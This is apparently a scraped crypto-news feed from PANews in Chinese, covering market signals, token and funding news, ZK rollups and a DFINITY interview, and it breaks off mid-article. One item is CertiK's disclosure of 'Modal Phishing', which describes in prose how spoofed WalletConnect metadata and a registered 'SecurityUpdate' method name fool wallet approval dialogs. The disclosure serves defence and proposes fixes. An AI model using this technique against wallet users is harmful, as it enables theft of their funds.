https://github.com/web3well/bls-wallet https://docs.etherspot.dev/ https://biconomy.gitbook.io/sdk/introduction/overview  ( 6 min )
    加密货币市场的5个积极看涨信号
    原文：《5 Bullish Crypto Market Signals》by Jack Inabinet，Bankless 编译：ShenZhen，PANews 持有ETH的看涨资产是有利可图的一年。在上周上海成功升级后，ETH开启上涨态势，该资产今年已经上涨了75%以上。 Bankless的分析团队撰文介绍了5个聚焦于其他值得看涨的加密货币市场看涨的信号。 市场在上涨，熊市已经崩溃。比特币和以太坊都突破了其熊市交易区间，山寨币似乎准备好了要开始震荡。 尽管来自各个方向的恐慌正在传播，无论是末日预言家预示以太坊被大规模抛售后提现，还是监管机构瞄准了CZ，但自FTX暴雷事件导致市场触底以来，加密货币一直处于上涨状态。在银行失败和风险传导中，加密货币大幅上涨。 又到了思考加密市场中这个老问题的时候了：是现在行动呢还是稍后因FOMO而恐慌买进？今天，这五个关键的加密货币指标，或许可以帮助您做出决定。（PANews提示：本文并非投资意见，加密市场波动较大，请妥善把握风险） 也许对于交易者来说，获得加密资产杠杆式曝光最可行的选项是期货合约。 持仓量（未平仓合约）表示交易者持有但未对冲或关闭的期货合约数量，包括多头和空头头寸。通常，高持仓量水平与风险偏好的市场情绪和高流动性相关，市场中有更多的买家和卖家。 比特币期货的总持仓量超过了FTX之前的最高水平99亿美元，在上周二和周四的交易中有时突破了100亿美元。不过，FTX的崩溃让加密货币衍生品市场留下了一个空缺，该交易所曾经是加密货币市场上最大的交易所之一。 来源：Coinalyze 看到未平仓头寸重建和流动性改善是市场状况改善的迹象。但是请注意，当价格对交易者不利时，杠杆的积累会导致反身性增加。 尽管宏观经济学家们在争论潜在经济衰退的利弊，但区块链经济一直在繁荣。主要的智能合约区块链的每日活跃总地址一直稳定在200万，这是自2022年牛市结束以来未见的壮举，自2022年8月下旬触底以来增加了77%。 来源:Artemis 用户活动增加的明显迹象也在收益市场中表现出来，DeFi总收益率从2022年6月开始持续上涨，从最低点上涨了94.2%。 来源：DeFi Llama 更高的DeFi收益率通常与更高的加密资产价格相关，因为个人和机构增加了链上交易活动或借款来获取杠杆并实施产生收益的策略。更高的收益率也意味着借款人能够承担更高的资本成本，表明总体上更好的资本化。 随着美联储在2022年对抗通胀，美国国债提供的无风险利率继续上升，增加了相对风险较高的加密货币借贷的竞争，并从风险资产中吸取了利润。自去年6月份通胀率最高，DeFi收益率最低以来，通货膨胀的风险有所缓解，通货膨胀率在今年3月份下降到5%以下。 宽松利率环境的前景使加密货币焕发生机，使整个资产类别更具投资价值，使DeFi收益率更具吸引力。 加密货币参与者中的聪明资金自FTX危机的低点以来一直在增加其净加密敞口，并且没有显示任何减缓的迹象。 链上聪明资金对稳定币的敞口自2022年5月初Terra-Luna崩溃以来已经达到最低点，这些高利润的参与者将他们投资组合的平均15％保留在稳定币中。 虽然鲸鱼钱包中流动的自由资本的数量确实已经减少，但在达到低于 5% 的牛市低点之前，聪明资金仍有相当大的剩余火力。 投资稳定币可以让加密货币持有人规避风险并限制潜在的投资组合回撤。然而，因为3月份的银行危机而引起的对USDC和USDC支持的去中心化稳定币的信心危机影响了人们持有稳定币的意愿。这是一个鼓舞人心的迹象，表明市场情绪从美元挂钩资产转向代币（资产）。 听说过VIX(Volatility Index)吗？它是一种基于标准普尔 500 指数期权衡量市场对近期波动预期的衍生品。在波动性上升的时期，通常是下行的，价格也会上涨。 加密货币拥有自己的本地区块链市场恐慌指数原语。一个流行的类似于VIX的衍生品平台是CVI Finance，其制作了加密波动率指数，跟踪以太坊和比特币的隐含波动率，类似于传统金融业的VIX。该指数不仅仅在SVB/Silvergate/Signature银行崩溃时期一直下跌，而且目前的指数价格甚至低于FTX前的最低的62.80。 来源:CVI Finance 随着市场的繁荣和未平仓合约的迅速增加，可能会增加加密资产定价中杠杆引起的反身性，令人欣慰的是看到 CVI 指数对未来价格波动的预期减弱。 在 Shapella 升级前几个月，怀疑论者在宣传中散布恐慌，声称将出现数周的提款期，并在质疑市场是否能够吸收他们预计将被售出亿万的以太币的情况下，实际情况却非常乐观。 截至4月19日，25.7k个验证人已排队等待全额提款。被美国证券交易委员会强制弃用其美国质押业务的 Kraken 占队列的 46.5%。由于以太坊网络设置的提款限制，提款会在两周内被处理并常态化。 对许多人来说，一个主要的问题是在 Shapella 部署后的5天内，可能会有超过100万ETH的部分提款被快速地从信标链中移除。虽然这些提款尚未完全完成，还剩下54.1万ETH （其中只有一半已升级为符合条件的0x01凭证） - 但是迄今为止，市场似乎已顺利吸收了超过50万的过剩供应。 这些资产中有相当一部分没有被出售，而是被重新质押到网络中。以太坊最大的权益投资实体Lido必须重新投入他们获取的奖励，因为stETH是一个重新平衡的代币，有助于增加信标链上的验证人数量并抵消提款流出。 尽管宏观环境有些不稳定，但加密货币似乎正在趋向看涨的态势。如ETH和BTC等主要数字货币已经突破了它们低迷的熊市交易范围，而其他的小币种也表现出明显的上涨趋势。 经历了一个过度悲观、过度抛售的2023年后，投资者发现自己未被充分配置，不断增加头寸，并推高价格，使加密货币处于小型牛市的边缘。自今年年初以来，聪明的资本已经参与了加密货币的上涨，并且仍有足够的资本可供配置。 但这次上涨不仅仅是价格上涨，加密货币找到了可持续的采用机会，保持着高用户活动量，并推高了DeFi产出率，这是自2022年6月通货膨胀高峰以来一直向上的趋势。我们的加密货币本地VIX等价物已经突破了2022年的低点，交易水平达到了上次牛市以来前所未见的水平。以太坊 Shapella 的悲观主义只是上周的新闻而已。  ( 2 min )
    Binance Labs宣布投资链游开发商GOMBLE
    PANews 4月20日消息，据官方公告，Binance Labs宣布已承诺投资基于区块链的韩国休闲游戏开发商GOMBLE的种子轮融资。GOMBLE将利用这笔资金开发和发行其首款手机游戏《RumbyStars》，并继续使用游戏即服务 (GaaS) 模式扩展其游戏平台。 据悉，GOMBLE是韩国休闲手机游戏发行商111Percent的附属公司。  ( 1 min )
    法国兴业银行在以太坊上推出与欧元挂钩的稳定币
    PANews 4月20日消息，据Cointelegraph报道，法国兴业银行宣布针对机构客户推出与欧元挂钩的稳定币EUR CoinVertible，该稳定币基于以太坊，将以“EURCV”代码进行交易，仅提供给该行通过其现有的KYC客户和反洗钱程序加入的投资者。首席执行官Jean-Marc Stenger表示，在未来几周内，法国兴业银行将评估潜在客户的兴趣并回答他们的问题以逐步采用。 法国兴业银行表示，EUR CoinVertible稳定币符合主要市场标准，包括被称为证券代币合规架构（CAST）的开源互操作性和证券化框架。该公司强调，它将确保支持稳定币价值的抵押资产与发行方“完全隔离”，并将提供每日透明度报告和抵押品头寸。该稳定币智能合约已由普华永道（PwC）审计。对于发行稳定币，SG-Forge已获得律师事务所White&Case的建议。  ( 1 min )
    揭秘Web3.0移动钱包新型骗局：模态钓鱼攻击Modal Phishing
    我们最近发现了一种新型的网络钓鱼技术，可用于在连接的去中心化应用（DApp）身份方面误导受害者。 我们将这种新型的网络钓鱼技术命名为Modal Phishing（模态钓鱼攻击）。 攻击者可以向移动钱包发送伪造的虚假信息冒充合法的DApp，并通过在移动钱包的模态窗口中显示误导性信息来诱骗受害者批准交易。这种网络钓鱼技术正在广泛使用。我们与相应的组件开发人员进行了沟通，并确认他们将发布新的验证API以降低该风险。 在CertiK对移动钱包的安全研究中，我们注意到Web3.0货币钱包的某些用户界面（UI）元素可以被攻击者控制用来进行网络钓鱼攻击。我们将这种钓鱼技术命名为Modal Phishing，因为攻击者主要针对加密钱包的模态窗口进行钓鱼攻击。 模态（或模态窗口）是移动应用程序中经常使用的UI元素。模态通常显示在应用程序主窗口顶部。这样的设计通常用于方便用户执行快速操作，如批准/拒绝Web3.0货币钱包的交易请求。 Web3.0货币钱包上的典型模态设计通常提供供用户检查签名等请求的必要信息，以及批准或拒绝请求的按钮。 真实交易批准模式与网络钓鱼交易批准模式对比 在上方截图中，我们展示了Metamask上一个常规的交易审批模态窗口是如何出现的。 当一个新的交易请求被连接的去中心化应用程序（DApp）初始化时，钱包会展示一个新的模态窗口，并要求用户进行人工确认。 如上图左侧所示，模态窗口通常包含请求者的身份，如网站地址（此例中为localhost）、图标等。如Metamask这样的一些钱包也会显示有关请求的关键信息，在实例中我们看到一些UI元素被标记为“Confirm”，以提示用户这是一个常规的交易请求。 然而，这些用户界面元素可以被攻击者控制以进行Modal Phishing攻击。在右侧的截图中，我们可以看到攻击者可以更改交易细节，并将交易请求伪装成来自“Metamask”的“Security Update”请求，以诱使用户批准。 如截图所示，攻击者可以操纵多个UI元素。 因此我们将在本文中为大家分享两个典型案例，并确定那些可被攻击者控制的UI元素。 详细信息如下： ① 如果使用Wallet Connect协议，攻击者可以控制DApp信息UI元素（名称、图标等） 。 ② 攻击者可以控制某些钱包应用中的智能合约信息UI元素。 攻击者控制的Modal和相关的信息源（DApp信息和方法名称）示例 示例①：通过Wallet Connect进行DApp钓鱼攻击 Wallet Connect协议是一个广受欢迎的开源协议，用于通过二维码或深度链接将用户的钱包与DApp连接。用户可以通过Wallet Connect协议将他们的钱包与DApp连接起来，然后与该协议进行进行交易或转账。 在Web3.0货币钱包和DApp之间的配对过程中，我们注意到Web3.0货币钱包会展示一个模态窗口，显示传入配对请求的元信息——包括DApp的名称，网站地址，图标和描述。Web3.0钱包展示的这些信息和方式根据DApp名称、图标和网站地址不同而变化，以供用户查看。 但是这些信息是DApp提供的，钱包并不验证其所提供信息是否合法真实。比如在网络钓鱼攻击中，某雷碧可以假称为某雪碧（均为DApp），而后在用户发起交易请求之前诱骗用户与其连接。 小伙伴们可以复制链接【https://www.youtube.com/watch?v=x6muJmDBC3o】到浏览器查看CertiK为此做的一个小测试。 在该视频中，CertiK展示了攻击者是如何「欺瞒」Uniswap DApp的——攻击者声称自己是Uniswap DApp，并连接Metamask钱包，以此欺骗用户批准传入的交易。 在配对过程中，钱包内显示的模态窗口呈现了合规Uniswap DApp的名称、网站网址和网站图标。 由于网址中使用了https方案，所以还显示了一个挂锁图标，这样显得模态窗口更为逼真和合法了。在配对过程中，只要受害者想在假Uniswap网站上进行交易操作，攻击者就可以替换交易请求参数（如目的地地址和交易金额）来窃取受害者的资金。 请注意，虽然不同的钱包上的模态设计不同，但攻击者是始终可以控制元信息的。 下图展示了当我们将ZenGo和1Inch钱包连接到钓鱼网站的DApp时，配对批准模式的样子。 Modal Phishing：连接到Zengo和1Inch钱包的虚假DApp 现在我们知道了配对和交易模态窗口可以被攻击者操纵，这样的攻击可以被用来让用户相信交易请求来自合法的DApp。 如下方截图所示，我们创建了一个自称是“Metamask”的虚假DApp，并启动了一个钓鱼智能合约。攻击者可以在交易批准模态中冒充Metamask或Uniswap的DApp。 如上例所示，被大规模使用的Wallet Connect协议并未验证配对的DApp信息的合法性。被操纵的元信息被钱包应用程序进一步使用并呈现给用户，这可以被用来进行Modal Phishing。作为一个潜在的解决方案，Wallet Connect协议可以提前验证DApp信息的有效性和合法性。Wallet Connect的开发人员已经承认了知晓这个问题，并正在研究相关解决方案。 示例② ：通过MetaMask进行智能合约信息网络钓鱼 你可能已经注意到，在Metamask批准模态的图标或网站名称下，有另一个视图，显示了一个不固定的字符串例如“Confirm”或“Unknown Method”。这个UI元素是由Metamask设计的，用于识别相应的交易类型。 在呈现交易批准模态时，Metamask会读取智能合约的签名字节，并使用链上方法注册表查询相应的方法名称，如以下代码所示。然而，这也会在模态上创建另一个可以被攻击者控制的UI元素。 MetaMask源码通过签名字节读取智能合约的函数名称 我们可以看到Metamask上有一个交易请求模态，其被标记为“Security Update”。攻击者建立了一个钓鱼智能合约，其有一个SecurityUpdate具备支付函数功能，并允许受害者将资金转入该智能合约。 攻击者还使用SignatureReg将方法签名注册为人类可读的字符串“SecurityUpdate”中。如前所述，当Metamask解析这个钓鱼智能合约时，它使用函数签名字节查询相应的函数方法，并在批准模态中呈现给用户。 从这个智能合约的交易可以看出，这个特定的钓鱼智能合约已经运行了200多天。 结合这些可控的UI元素，攻击者可以创建一个非常有说服力的交易请求，该请求显示为来自“Metamask”的“SecurityUpdate”请求，寻求用户的批准。 钓鱼交易批准模态 在上面的例子中，我们展示了钱包上与智能合约信息相关的UI元素是如何被钓鱼攻击者操纵的。 虽然我们在这里以Metamask为例，但其他钱包也可能存在类似的漏洞。钱包应用的开发者应该时刻注意监测那些会向用户呈现的内容，并采取预防措施过滤掉可能被用于网络钓鱼攻击的词语。 在本文中，我们为大家展示了Web3.0货币钱包上不应盲目信任的常见UI组件——模态窗口。 模态窗口中的某些UI元素可以被攻击者操纵，以创造出非常「真实且有说服力」的钓鱼陷阱。因此，我们将这种新的网络钓鱼技术命名为Modal Phishin（模态钓鱼攻击）。 这种攻击发生的根本原因是钱包应用程序没有彻底验证所呈现的UI元素的合法性。 例如，钱包应用程序直接信任来自Wallet Connect SDK的元数据，并将其呈现给了用户。 Wallet Connect SDK也并不验证传入的元数据，这在某些情况下使得呈现的元数据可以被攻击者控制。在Metamask中，我们可以看到类似的攻击原理也被攻击者滥用，在模态窗口中显示欺诈性的智能合约函数方法名称。 总体而言，我们认为钱包应用程序的开发者应该始终假设外部传入的数据是不可信的。开发者应该仔细选择向用户展示哪些信息，并验证这些信息的合法性。除此之外，用户也应通过对每个未知的交易请求保持怀疑的态度来守好自己安全上的「一亩三分地」。  ( 2 min )
    数据：针对Meme币的某MEV机器人使用“三明治攻击”获利超140万美元
    PANews 4月20日消息，据Cointelegraph报道，NFT数据和研究平台Sealaunch监测到，名为jaredfromsubway.eth的MEV机器人在近日对WOJAK和PEPE等Meme币的买卖双方执行“三明治攻击”获利超140万美元。此外，Sealaunch表示在4月18日至19日的24小时内，MEV机器人花费了以太坊Gas费的7%。 据悉，三明治攻击发生在攻击者将受害者的交易“夹在”自己的两笔交易之间，以操纵价格从用户身上获利。  ( 1 min )
    剖析PEPE背后的鲸鱼们，上线几分钟内买入10%代币
    作者：An Ape's Prologue, 加密KOL 编译：Felix,PANews Meme币PEPE在短短4天内暴涨1000倍，部分用户实现白手起家。加密KOL An Ape's Prologue发现了一些钱包，总成本为0.61ETH（约1210 美元），成功赚取超过900万美元——7500倍的回报。然而，购买的时机很奇怪： 在分析Uniswap V2上的交易分布时，发现了一些异常活动。在代币开始交易后的短短几分钟内，一群新入金的钱包购买了PEPE ，并且仍然持有它们。他们加起来控制了总供应量的近10% 首先，资金来自Fixed Float交易所的一组七个钱包共购买了17.7兆的PEPE，成本约为0.34ETH ，现在有550万美元的未实现利润。 其次，来自ChangeNOW交易所的两个钱包。总共购买了5兆的PEPE代币，成本为0.1ETH，目前价值约为150万美元。 第三，一个最初资金来自ByBit提供资金地址，然后在四个钱包中分配了约0.17枚ETH，总共购买了约6.2兆代币，目前获利220万美元。 这种行为引发了关于这些钱包是属于内部人士还是开发团队的质疑，因为它们不仅在完美的时机买入，而且在大幅上涨1000倍之后，钱包中仍持有相当多的代币。 值得注意的是，由于链上可用的流动性很差，即使他们出售其持有代币的10%，也足以让代币彻底暴跌。因此，对目前的持有者来说，监测这些鲸鱼的活动至关重要。 综上所述，虽然无法肯定这些钱包属于内部人士，但他们的行为肯定会引发质疑。考虑到Meme币的性质和历史，如果得到证实，也不足为奇。 另一方面，令人印象深刻的是，这些钱包表现出强烈的持有信念，即使在大幅上涨1000倍后仍坚守头寸。 不过值得一提的是，据链上观察员0xBobie推文，首个购入PEPE的地址5天前被开发者列入了黑名单。0xBobie猜测PEPE开发者将被视为机器人的地址列入黑名单。被列入黑名单的地址为0xAf2358e98683265cBd3a48509123d390dDf54534。  ( 2 min )
    专访DFINITY基金会创始人Dominic：看好香港作为中外的接口，将在港成立ICP亚洲联盟
    采访：Micky，PANews 撰文：Joy，PANews “中国是我们战略中非常重要的一部分，”DFINITY基金会创始人兼首席科学家Dominic Williams是这次为数不多来香港参加Web3嘉年华活动的公链创始人之一。在接受PANews专访时，他毫不犹豫的道出此次来港原因。与很多参会者一样，Dominic 同样看好香港在Web3发展中的角色和前景，而谈到InternetComputer（IC)，他充满自信地分享了最新进展与给建设者们的建议。 这是Dominic暌别多年后再次来到中国，“过去是因为新冠，打乱了正常市场交流的节奏，现在重新开放我们就回来了。” Dominic在香港的行程除了主会场的演讲，还专门参加了社区的开发者活动。这也是他来香港的主要目的。DFINITY基金会是IC发展的重要贡献者，生态发展对任何公链都是重中之重。Dominic坦言，“中国是我们战略中非常重要的一部分，在IC生态中有很多中国团队，其中一些是非常优秀的项目，”，他还向PANews透露，计划在香港成立ICP亚洲联盟，也会招募更多的员工。 社区见面会活动 “我认为香港是链接中国大陆和世界其他地方的一个天然接口。它一直是一个非常国际化的地方，一直是金融中心。当你将Web 3的友好性与中国大陆的开发人才结合起来时，这会是一个巨大的成功秘诀。”Dominic表示。 DFINITY基金会注册在全球最早的加密友好地瑞士，而旨在打造Web3中心的香港让Dominic看到了加密行业在亚洲蓬勃发展的希望。“我看到了香港政府的计划与热情，以及他们在监管透明度方面的努力，这是Web3领域的人所寻求的。香港政府抓住了主动权，旨在为香港带来大量的创业和增长。我觉得他们在做一件聪明的事情，我觉得会很成功。” 正如币安创始人在香港嘉年华论坛上进行炉边对话时所说，即便是严格的监管也好过没有清晰的监管。从业者们对监管的清晰度的需求有目共睹。Dominic认为，灵活的监管并保持监管的清晰度是很重要的。同时，对监管而言最重要的是，如果有某种庞氏骗局，它应该被迅速关闭，但诚实的项目应该得到支持，而不是攻击。 “我认为这就是像瑞士和香港这样的地方可以通过对Web3更加友好来真正推动创新增长。而美国的监管机构正在攻击诚实的加密项目，现在不诚实的项目制造了一个加密冬天，而监管却正在攻击诚实的项目。所以这是加倍的糟糕。”Dominic说着摇了摇头。的确，如今美国加密企业因为严格的监管进入发展的寒冬期，甚至Coinbase 首席执行官 Brian Armstrong近日还称，如果加密行业的监管不明确，Coinbase 可能会考虑搬离美国。 DFINITY的名字寓意着去中心化的无限可能，这个蓝图Dominic他们从2016年便开始描绘，并在2021年推出了InternetComputer (IC)。相比以太坊、Avalanche等公链，IC并不想做他们的杀手，而是选择了另一条更底层的路——去中心化计算服务，可以通俗的理解为去中心化的AWS。 实际上目前的去中心化基础设施很多组建仍是建构在中心化服务之上。比如以太坊上链上的NFT或Token，除了合约在链上运行，很多存储和计算都是通过AWS等中心化的云计算平台，而IC则扮演了加密云服务的角色。根据IC官网公布的数据，如果把1GB的数据放在区块链上存储一年的时间，成本只需要5美元，而相同的数据放到以太坊链上需要7900万美元，Solana链上则需要11万美元。 Dominic接受PANews专访 近期IC还有两个大动作，一个是EVMC（以太坊虚拟容器），另一个是发行了ckBTC。 ckBTC 是一种 ICP 原生代币，由真实 BTC 1:1 支持，由互联网计算机智能合约在链上管理，将 ckBTC 视为比特币的（高度可替代的）孪生代币一种 100% 镜像资产，它使用链密钥密码术来拥有和控制所有底层比特币。通过直接与比特币网络集成，ckBTC 可以在受支持的网络上用于去中心化金融应用程序，这意味着可以享有更快的速度和更低的费用，但更重要的是并非通过桥接的方式，没有跨链桥的风险。 而EVMC则实现了IC与以太坊的兼容，可以通过EVMC来运行 Solidity 的语言编写的智能合约。据介绍，EVMC 比主要的以太坊网络 EVM 实现更快，因为它通过执行签名验证和交易批处理来优化交易吞吐量，EVMC 完全在链上，代码和数据在 Web 程序集中执行，并行计算是通过多容器架构实现的，这使得 EVMC 速度极快。 谈到对行业建设者们的建议，Dominic认为应该回归技术本身，“人们应该始终关注更长期的发展轨迹。我们经历了一段疯狂的时期，但我认为事情会变得更加理性，因为人们会回归到真正可以构建的东西，并尝试寻找东西，创造人们真正有使用需求的产品。”  ( 2 min )
    Zk Rollup如何成为Layer2终极赢家？
    通常来说，实现网络安全和去中心化的同时，提高可扩展性是不可能的。这一挑战被称为三重困境，已被证明是区块链架构中最难解决的问题之一。要知道网络的去中心化和安全与分布式账本的节点数量有关——节点越多，区块链越去中心化和安全——但牺牲了可扩展性，即区块链每秒能处理的交易数量。在繁忙期间，由于每个节点都要验证交易，因此可扩展性会受到影响。 在过渡到权益证明之前，以太坊网络平均处理15-45笔交易每秒（TPS），坦率来讲，尚不足以为大多数以太坊用户创造良好的体验，他们有时面临网络拥堵、高费用和长时间等待。这些问题的解决方案是进一步增强网络可扩展性。 我们认为，ZK-Rollup可以通过提高可扩展性为区块链技术，尤其是以太坊带来重大进步。这可以提供更好的用户体验，并增加该领域的兴趣，从而进一步令新项目吸引新的用户和支持者。这种指数级的正反馈循环可能是下一次加密牛市的核心。 通常来说，可以通过网络层面或通过二层扩展解决方案来扩展区块链。 对于网络层面的扩展，这些解决方案可以从增加块大小（如比特币）到以太坊广受关注的分片，后者允许并行和同时处理大量交易。这些解决方案可能是有效的，但不容易实现。 第二种，更简单的扩展区块链的方法是采用各种扩展解决方案。这些方案可以从创建侧链（如Polygon）到Plasma链（慢慢失去市场），再到State Channels（几乎就像一个托管解决方案），以及Lightning Network所采用的方案。 但最有前途的扩展解决方案可能是Rollups，特别是Optimistic Rollups和ZK-Rollups，这些解决方案是将二层交易打包并发送到以太坊主网的解决方案。 和Optimistic Rollup一样，ZK Rollup提供了一种可行的方案来解决传统L1面临的可扩展性挑战。通过将大量交易离线打包处理并使用零知识证明在主链上处理，它们提供了更高的吞吐量和更低的交易费用，而无需像Optimistic Rollup一样面临长时间的挑战期限。相比OP系Rollup动辄7天的提现等待期，ZK系Rollup可以实现半小时内完成安全的提现。 ZK-Rollup的工作原理 ZK-Rollup是一种基于以太坊的Layer 2协议，可以实现高效率、低成本的交易。 在ZK-Rollup中，智能合约状态机被称为智能合约，是一种自我执行的编程合约。当我们需要更新Layer 1的状态时，ZK-Rollup节点会向以太坊提交一个有效性证明，并显示交易的最终状态。这是因为EVM是确定性的，意味着我们可以确定执行智能合约的最终结果。 因此，ZK-Rollup相比于Optimistic Rollup具有效率优势，因为它们只需要将有效性证明提交到Layer 1。相比之下，optimistic rollup需要将所有交易数据提交到Layer 1，并等待网络进行“挑战”，这需要更长的时间（平均为7天）。 对于L2到L1的通信，ZK-Rollup协议的速度会更快，因为它们只需要证明一批交易的有效性，而不需要等待其他人验证这些交易。这样可以获得更高效和更有效的协议，主要体现在以下方面： 可扩展性是实现ZK-Rollup的关键动机。以太坊和其他区块链的性能问题在于带宽不足，无法支持如此多的用户和交易，使得处理过程非常低效。ZK-rollup技术可以改善这一点。 有效性证明充当了一种过滤器，严格将给定批次中的有效交易推送出来。这使我们能够在数学上证明它们的正确性，而不是概率性的、可变的置信度。 在链下处理交易和计算，只需向Layer 1提交摘要数据和有效性证明，使交易和计算成本更低。这为更多的用户和应用程序打开了大门，最终加速了向Web3的转变。 ZK-Rollup竞争激烈 如今，Optimistic Rollup和ZK Rollup是最受欢迎的两种Rollup。虽然Optimistic Rollup以速度、良好的兼容性著称，但在提款方面存在一些限制。相比之下，ZK Rollup具有卓越的速度和安全性，成为区块链平台的理想解决方案。 但是，这些解决方案也存在一些缺点，例如它们是通过智能合约实现的，可能存在漏洞，由于Rollup在以太坊主网上的相对新颖，因此需要考虑这些缺点。此外，这些解决方案倾向于变得中心化，因为排序器技术上可以屏蔽或重新排列交易。 理解这些优缺点可以帮助我们获得更客观的视角，支持分析和评估这些项目的潜力，并寻找良好的投资机会。在我看来，我们可以根据两个因素对Zk Rollup项目进行分类： 1.数据存储方式（链上或链下）。 2.使用的零知识证明方案。 选择链上或链下存储数据（也称为Validium）都有其自身的优劣。在所有情况下没有最佳选择；这是一个权衡去中心化和处理速度、运营成本的过程，取决于项目的发展方向，他们将提供适当的选择。 第二点需要注意的是使用零知识证明技术，类似于前面的情况，在每种情况下没有最佳解决方案，它是证明大小和安全性假设之间的平衡。 Starkware（也称为Starkware Industries）是由STARK和ZCash的联合创始人Eli Ben Sasson于2018年1月创立的公司。StarkWare通过使用STARK技术来实现和验证零知识证明，提高区块链的可扩展性和隐私。 StarkWare的第一个产品StarkEX可以看作是一个特定的L2，应用仅限于简单的交易和支付交易，例如AMM、现货交易、支付、NFT铸造和交易。StarkEX允许Dapps以三种模式部署： StarkEX和StarkNET有自己的编程语言和虚拟机用于执行，不与以太坊的EVM兼容。因此，未来想在StarkNET上构建Dapps的开发人员将需要学习一种名为Cairo的新编程语言，这是StarkEX和StarkNET的本机智能合约语言。 除了Starkware，Matter Labs也是一家同样著名的公司。Matter Labs提供的Zk Rollup产品使用PLONK实现和验证零知识证明。 第一版称为zkSync（v1），第二版称为ZkPorter（v2）。它们之间的主要区别在于数据存储是在链上还是在链下。两个版本的共同目的仅是为支付交易服务，不如StarkEX那么多样化。 目前在使用的zkSync Era主网，TLV涨势很快。根据DeFiLlama显示，目前的TVL已经攀升到1.1亿美金规模，有超过20个项目完成了部署。 ZkEVM是由Matter Labs开发的。与此同时，Matter Labs也在推出与EVM兼容的Zk Rollup版本（ZkEVM）。该版本的本机智能合约语言是Zinc，并且它也有自己的虚拟机用于执行，具有与EVM高度兼容的特点。 Loopring是于2019年底推出的，使用了一组名为SNARK的算法来实现和验证零知识证明。Loopring经历了多次升级，第一个版本仅支持DEX（订单簿）交易，第二个版本增加了对支付和转账的支持，第三个版本增加了对AMM Swap的支持，第四个版本于2021年9月推出，增加了对NFT的挖矿、转移和交易支持。与此同时，Loopring也正在推出与EVM兼容的Zk Rollup版本（ZkEVM）。 当然，相比一个网络，它更像一个应用。这是社区目前对于Loopring的固有印象。 这些领先的Rollup创新团队正在竞相确立其ZK Rollup解决方案的领先地位，这种竞争将很可能推动该领域的进一步发展。 ZK技术是以太坊的未来。在18至24个月内，大多数大型Web3应用将建立在零知识证明的二层链上。然而，ZK Rollup也存在一些问题，例如需要高水平的开发、部署和审计技术。由于ZK技术专家较少，例如审计桥接等过程变得更加困难。 使用ZK证明进行验证的过程计算量较大，因此一些初创公司已经开发了专门的技术，如FGPA和ASIC，以进一步加快ZK证明的生成速度。因此，ZK技术可能需要数年时间才能真正成熟。 第三个问题是交易费用的问题。大多数Rollup平台的交易费用比Ethereum的EVM侧链更高。这是因为每个最终的Rollup块都必须发布到以太坊，将其费用与以太坊的费用联系起来（Zk Rollup通过只发布证明来节省费用）。因此，每个Rollup平台只能将以太坊扩展到一定程度。 此外，之前Ebunker联合创始人Todd Ma曾提到，相比于OP系，ZK系想保持EVM兼容非常困难。每当主网的EVM更新时，OP系可以以很小的工作量完成同步更新，继续保持100%EVM兼容，而ZK系需要繁琐的重新电路设计和代码开发，这给研发ZK系L2的团队带来了不小的压力，而且无法实现一劳永逸。 对于Zk Rollup的发展方向，从长远来看，任何一个L1能做的事情，Zk Rollup都能更好地做到。基于这种思路，我认为想要成为终极赢家的Zk Rollup解决方案必须保持L1的所有先进特征，例如以太坊这个L1的通用智能合约平台、无需许可的安全性以及更低的成本。 因此，我认为StarkNET和ZkEVM是有前途的方案。如果ZkEVM能在以太坊L1上保持类似的开发体验，那么它将具有重大优势。对于ZkEVM，目前的设计思路实际上可以分为两种类型： 总体而言，我非常期待ZK Rollup和Optimistic Rollup将领导区块链进入一个新的时代。新的创新将不再基于L1设计，而是在L2和L3上进行，从关联的L1中获取安全性， 同时实现在传统L1上不可能实现的可扩展性。市场上有足够的空间支持广泛的L2 Rollup解决方案，以最优化的方式迭代区块链，实现真正去中心化、可扩展和安全的区块链。我们期待看到更多优秀的项目和技术不断涌现，推动整个区块链技术的进一步发展。  ( 2 min )
    Jack Dorsey旗下支付公司Block正招聘一名比特币钱包产品设计师
    PANews 4月20日消息，据招聘网站SmartRecruiters页面信息，Jack Dorsey旗下支付公司Block正在招聘一名比特币钱包产品设计师，这将是该公司的第二位产品设计师。在该职位表述中，Block称其正在为“未来的1亿名比特币用户”打造一个比特币钱包，目标是经济赋权，从提供易于使用、可靠的钱包开始，帮助世界各地的人们拥有和管理他们的比特币，而不是依赖于一些不能很好地协同工作的工具和服务。 此前3月份消息，Block计划今年晚些推出自托管比特币钱包，目前正寻求合作伙伴。  ( 1 min )
    拆解以太坊升级之路，寻找下一个热门叙事
    原文：《从以太坊升级寻找下一个热点赛道》 作者：Bowen@Web3CN.Pro 今天来聊一聊以太坊升级的事情，但我们想换个角度，不谈上海升级的影响、不谈Layer2的创新、不谈Rollup的技术革命，而是从整个以太坊升级之路来解读为什么当下Layer2、ZK、LSD等赛道会火。 这些其实都是有迹可循的，一旦思路捋顺了，或许还可以自己判断下一个热点。对于不了解以太坊生态的人来说，相信这篇文章会带给你很大的帮助。 TPS：Transaction Per Second，每秒事务处理量。这是系统处理能力的性能指标。 一开始，以太坊全网TPS是20左右。这意味着，当大量的人需要做交易，尤其是很多操作复杂的交易的时候，以太坊就会拥堵。而拥堵造成的直接影响就是GAS费用（执行需要支付的费用）的飙升。于是，如何提高TPS成为以太坊发展的关键。 提高TPS很难吗？不难，但要安全有效地提高很难。在区块链世界，有个“三难困境”（Trilemma），描述了区块链可扩展性、去中心化和安全性之间的不断权衡。 以太坊创始人Vitalik Buterin表示，“三难困境”从来都不是一个不可能的结果，它只是说明同时获得三个是很难的。 这将是一场持久的区块链之战。围绕“三难困境”问题，全世界区块链从业者都在努力解决，于是便有了目前“百花齐放、百家争鸣”的景象。 根据Vitalik Buterin描述，合并后的以太坊仅仅完成了55%，也就是说以太坊目前只是“半成品”。以太坊在完成 The Merge、The Surge、The Verge、The Purge、The Splurge五次升级后，TPS将达到10万。 二、以太坊升级之链上扩容 以太坊扩容方案主要朝着两条路线进行：链上扩容和链下扩容。 链上扩容是对以太坊本身进行技术升级，升级完成后可以处理更多的请求和数据，而链下扩容是指在以太坊之外处理交易，最后只将关键的结果上传到以太坊上。 链上扩容如何实现？ 这涉及到以太坊决策流程，简单来说链上扩容需要以太坊开发人员、研究人员、社区成员共同决定。目前，以太坊完成了 The Merge（合并）以及上海Shapella升级，实现POW转POS的目标，后面还会不断进行各种重大升级，下面来了解下以太坊五大升级： 这五次升级是同步进行的，只是因为难度不同，完成情况也有所不同。The Verge 将引入 Verkle 树，这是对 Merkle 